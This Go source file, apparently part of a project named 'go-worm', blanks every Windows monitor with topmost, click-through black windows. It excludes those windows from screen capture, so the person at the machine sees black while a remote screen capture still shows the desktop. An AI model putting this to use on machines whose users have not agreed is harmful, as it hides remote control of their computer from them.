//go:build windows

package blackout

import (
	"errors"
	"fmt"
	"runtime"
	"sync"
	"syscall"
	"time"
	"unsafe"

	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)

const (
	className = "win64_mp_blackout"

	wsPopup = 0x80000000

	wsExLayered     = 0x00080000
	wsExTransparent = 0x00000020
	wsExTopmost     = 0x00000008
	wsExToolwindow  = 0x00000080
	wsExNoActivate  = 0x08000000
	layeredEx       = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate

	swShowNoActivate = 4
	swpNoActivate    = 0x0010
	swpNoMove        = 0x0002
	swpNoSize        = 0x0001
	swpShowWindow    = 0x0040

	lwaAlpha                = 0x00000002
	wdaExcludeFromCapture   = 0x00000011
	blackBrush              = 4
	errorClassAlreadyExists = 1410
	htTransparent           = 0xFFFFFFFF
	maNoActivate            = 3
	wmQuit                  = 0x0012
	wmNcHitTest             = 0x0084
	wmMouseActivate         = 0x0021
	wmDisplayChange         = 0x007E
	wmUser                  = 0x0400
	wmRebuild               = wmUser + 1
	hwndTopmost             = ^uintptr(0) // HWND_TOPMOST
)

type wndClassEx struct {
	Size       uint32
	Style      uint32
	WndProc    uintptr
	ClsExtra   int32
	WndExtra   int32
	Instance   uintptr
	Icon       uintptr
	Cursor     uintptr
	Background uintptr
	MenuName   *uint16
	ClassName  *uint16
	IconSm     uintptr
}

type msg struct {
	HWnd    uintptr
	Message uint32
	WParam  uintptr
	LParam  uintptr
	Time    uint32
	Pt      struct{ X, Y int32 }
}

type overlayRect struct {
	left, top, width, height int
}

var (
	user32                         = syscall.NewLazyDLL("user32.dll")
	gdi32                          = syscall.NewLazyDLL("gdi32.dll")
	kernel32                       = syscall.NewLazyDLL("kernel32.dll")
	procRegisterClassExW           = user32.NewProc("RegisterClassExW")
	procCreateWindowExW            = user32.NewProc("CreateWindowExW")
	procDestroyWindow              = user32.NewProc("DestroyWindow")
	procShowWindow                 = user32.NewProc("ShowWindow")
	procSetWindowPos               = user32.NewProc("SetWindowPos")
	procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
	procSetWindowDisplayAffinity   = user32.NewProc("SetWindowDisplayAffinity")
	procDefWindowProcW             = user32.NewProc("DefWindowProcW")
	procGetMessageW                = user32.NewProc("GetMessageW")
	procTranslateMessage           = user32.NewProc("TranslateMessage")
	procDispatchMessageW           = user32.NewProc("DispatchMessageW")
	procPostThreadMessageW         = user32.NewProc("PostThreadMessageW")
	procGetStockObject             = gdi32.NewProc("GetStockObject")
	procGetModuleHandleW           = kernel32.NewProc("GetModuleHandleW")
	procGetCurrentThreadId         = kernel32.NewProc("GetCurrentThreadId")

	// ponytail: NewCallback is never freed; one wndproc for the process.
	wndProcCB = syscall.NewCallback(overlayWndProc)

	mu         sync.Mutex
	active     bool
	threadID   uint32
	loopDone   chan struct{}
	hwnds      []uintptr
	classAtom  uint16
	classUTF16 *uint16
)

func init() {
	if unsafe.Sizeof(wndClassEx{}) != 80 {
		panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
	}
}

func running() bool {
	mu.Lock()
	defer mu.Unlock()
	return active
}

func start() error {
	mu.Lock()
	if active {
		mu.Unlock()
		return nil
	}
	done := make(chan struct{})
	ready := make(chan error, 1)
	loopDone = done
	mu.Unlock()

	go func() {
		defer close(done)
		defer helpers.RecoverLog("blackout")
		runOverlayLoop(ready)
	}()

	select {
	case err := <-ready:
		if err != nil {
			<-done
			return err
		}
		return nil
	case <-time.After(5 * time.Second):
		stop()
		return errors.New("monitor blackout did not start")
	}
}

func stop() {
	mu.Lock()
	tid := threadID
	done := loopDone
	mu.Unlock()
	if tid != 0 {
		_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
	}
	if done != nil {
		<-done
	}
}

func runOverlayLoop(ready chan<- error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	defer func() {
		destroyOverlays()
		mu.Lock()
		active = false
		threadID = 0
		loopDone = nil
		mu.Unlock()
	}()

	tid, _, _ := procGetCurrentThreadId.Call()
	mu.Lock()
	threadID = uint32(tid)
	mu.Unlock()

	if err := registerClass(); err != nil {
		ready <- err
		return
	}
	if err := createOverlays(); err != nil {
		ready <- err
		return
	}

	mu.Lock()
	active = true
	mu.Unlock()
	ready <- nil

	ticker := time.NewTicker(time.Second)
	defer ticker.Stop()
	stopTop := make(chan struct{})
	defer close(stopTop)
	go func() {
		defer helpers.RecoverLog("blackout-top")
		for {
			select {
			case <-stopTop:
				return
			case <-ticker.C:
				mu.Lock()
				on := active
				ids := append([]uintptr(nil), hwnds...)
				mu.Unlock()
				if !on {
					return
				}
				for _, hwnd := range ids {
					_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
				}
			}
		}
	}()

	var m msg
	for {
		ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
		v := int32(ret)
		if v == 0 || v == -1 {
			return
		}
		if m.HWnd == 0 && m.Message == wmRebuild {
			_ = createOverlays()
			continue
		}
		_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
		_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
	}
}

func registerClass() error {
	if classAtom != 0 {
		return nil
	}
	name, err := syscall.UTF16PtrFromString(className)
	if err != nil {
		return err
	}
	classUTF16 = name
	inst, _, _ := procGetModuleHandleW.Call(0)
	brush, _, _ := procGetStockObject.Call(blackBrush)
	wc := wndClassEx{
		Size:       uint32(unsafe.Sizeof(wndClassEx{})),
		WndProc:    wndProcCB,
		Instance:   inst,
		Background: brush,
		ClassName:  name,
	}
	atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
	if atom == 0 {
		if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
			classAtom = 1
			return nil
		}
		if callErr != nil && callErr != syscall.Errno(0) {
			return callErr
		}
		return errors.New("RegisterClassEx failed")
	}
	classAtom = uint16(atom)
	return nil
}

func monitorRects() ([]overlayRect, error) {
	var out []overlayRect
	for i := 0; i < 64; i++ {
		left, top, width, height, err := screenshot.MonitorBounds(i)
		if err != nil {
			break
		}
		if width < 1 || height < 1 {
			continue
		}
		out = append(out, overlayRect{left, top, width, height})
	}
	if len(out) == 0 {
		return nil, errors.New("no displays found")
	}
	return out, nil
}

func createOverlays() error {
	destroyOverlays()
	rects, err := monitorRects()
	if err != nil {
		return err
	}
	inst, _, _ := procGetModuleHandleW.Call(0)
	var created []uintptr
	for _, r := range rects {
		hwnd, err := createOverlay(inst, r)
		if err != nil {
			for _, h := range created {
				_, _, _ = procDestroyWindow.Call(h)
			}
			return err
		}
		created = append(created, hwnd)
	}
	mu.Lock()
	hwnds = created
	mu.Unlock()
	return nil
}

func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
	hwnd, _, callErr := procCreateWindowExW.Call(
		layeredEx,
		uintptr(unsafe.Pointer(classUTF16)),
		0,
		wsPopup,
		uintptr(int32(r.left)),
		uintptr(int32(r.top)),
		uintptr(int32(r.width)),
		uintptr(int32(r.height)),
		0, 0, inst, 0,
	)
	if hwnd == 0 {
		if callErr != nil && callErr != syscall.Errno(0) {
			return 0, callErr
		}
		return 0, errors.New("CreateWindowEx failed")
	}
	ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
	if ok == 0 {
		_, _, _ = procDestroyWindow.Call(hwnd)
		if affErr != nil && affErr != syscall.Errno(0) {
			return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
		}
		return 0, errors.New("exclude overlay from capture failed")
	}
	_, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
	_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
	_, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
	return hwnd, nil
}

func destroyOverlays() {
	mu.Lock()
	ids := hwnds
	hwnds = nil
	mu.Unlock()
	for _, hwnd := range ids {
		_, _, _ = procDestroyWindow.Call(hwnd)
	}
}

func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
	switch message {
	case wmNcHitTest:
		return htTransparent
	case wmMouseActivate:
		return maNoActivate
	case wmDisplayChange:
		mu.Lock()
		tid := threadID
		mu.Unlock()
		if tid != 0 {
			_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
		}
		return 0
	}
	ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
	return ret
}